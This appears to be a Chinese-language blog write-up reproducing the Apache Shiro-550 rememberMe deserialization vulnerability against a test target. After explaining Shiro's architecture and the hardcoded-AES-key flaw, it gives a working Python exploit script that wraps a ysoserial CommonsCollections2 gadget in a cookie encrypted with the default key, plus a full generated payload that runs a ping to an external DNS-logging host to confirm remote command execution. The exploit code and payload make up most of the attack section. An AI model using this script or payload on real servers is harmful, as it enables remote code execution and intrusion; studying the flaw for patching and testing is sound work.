Shiro-550 漏洞复现

开始时间:2022/3/14 14:15

1、什么是shiro ?

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

2、shiro 可以用来干什么?

三个核心组件:Subject, SecurityManager 和 Realms.

Subject:即“当前操作用户”。但是,在Shiro中,Subject这一概念并不仅仅指人,也可以是第三方进程、后台帐户(Daemon Account)或其他类似事物。它仅仅意味着“当前跟软件交互的东西”。

Subject代表了当前用户的安全操作,SecurityManager则管理所有用户的安全操作。

SecurityManager:它是Shiro框架的核心,典型的Facade模式,Shiro通过SecurityManager来管理内部组件实例,并通过它来提供安全管理的各种服务。

Realm: Realm充当了Shiro与应用安全数据间的“桥梁”或者“连接器”。也就是说,当对用户执行认证(登录)和授权(访问控制)验证时,Shiro会从应用配置的Realm中查找用户及其权限信息。

从这个意义上讲,Realm实质上是一个安全相关的DAO:它封装了数据源的连接细节,并在需要时将相关数据提供给Shiro。当配置Shiro时,你必须至少指定一个Realm,用于认证和(或)授权。配置多个Realm是可以的,但是至少需要一个。

Shiro内置了可以连接大量安全数据源(又名目录)的Realm,如LDAP、关系数据库(JDBC)、类似INI的文本配置资源以及属性文件等。如果系统默认的Realm不能满足需求,你还可以插入代表自定义数据源的自己的Realm实现。

3、Shiro rememberMe反序列化漏洞原理及复现过程(Shiro-550)

1、漏洞原理

Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行 序列化、AES加密、Base64编码操作。所以我们在伪造cookie的时候,就需要把我们的恶意代码进行序列化,AES加密,Base64编码操作。

在识别身份的时候,客户端对Cookie里的rememberMe进行了一系列的操作,相应的操作的顺序为:

1、获取rememberMe cookie

2、base64 decode

3、解密AES

4、反序列化

但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本:

Apache Shiro < 1.2.4

特征判断:

返回包中包含rememberMe=deleteMe字段。

2、复现过程(所有复现的资源全部在kali /root/shiro/)

1、先获取可能的 AES 对称加密的密钥

这里推荐使用的python 项目:GitHub - insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具

记住:shiro_exploit.py 要配合 ysoserial.jar 漏洞一起用。(kali 中我把它重命名为shiro_key.py)

用法:python3 shiro_exploit.py -u shiro靶机的IP 

Shiro-550 漏洞复现_第1张图片

2、shiro.py shiro-550 漏洞利用脚本

使用前的环境准备:

kali 部署mvn教程:Linux安装maven(详细教程) - 付宗乐 - 博客园 (已经备份kali)

git clone https://github.com/frohoff/ysoserial.git (kali 中安装在 /root/shiro)
cd ysoserial
mvn package -DskipTests //mvn 打包后,生成的 payload 都已经放到/root/shiro/ysoserial/target 目录下   
​
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
​
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', '/root/shiro/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
​
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

用法:python shiro.py "想要对方执行的命令" 如在kali 中:python3 shiro.py "ping s1hfl2.ceye.io"

然后在 /tmp/ 会生成一个 payload.cookie。 cat payload.cookie ,复制内容。待会代替SESSION 值。

Shiro-550 漏洞复现_第2张图片

Shiro-550 漏洞复现_第3张图片

 

 

 

3、访问目标,选择登录

Shiro-550 漏洞复现_第4张图片

抓包

Shiro-550 漏洞复现_第5张图片

 

直接把JSESSIONRID 的值替换为刚刚生成的 payload.cookie 里面的值 (执行命令: ping s1hfl2.ceye.io )

rememberMe=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

Shiro-550 漏洞复现_第6张图片

发包,去CEYE - Monitor service for security testing 查看DNS 解析记录,立刻就出现了。(这里时间对不上,我不知到为啥!欢迎大神解答)

Shiro-550 漏洞复现_第7张图片

 

结束时间:2022/3/14 20:23

你可能感兴趣的:(安全,web安全,java,开发语言)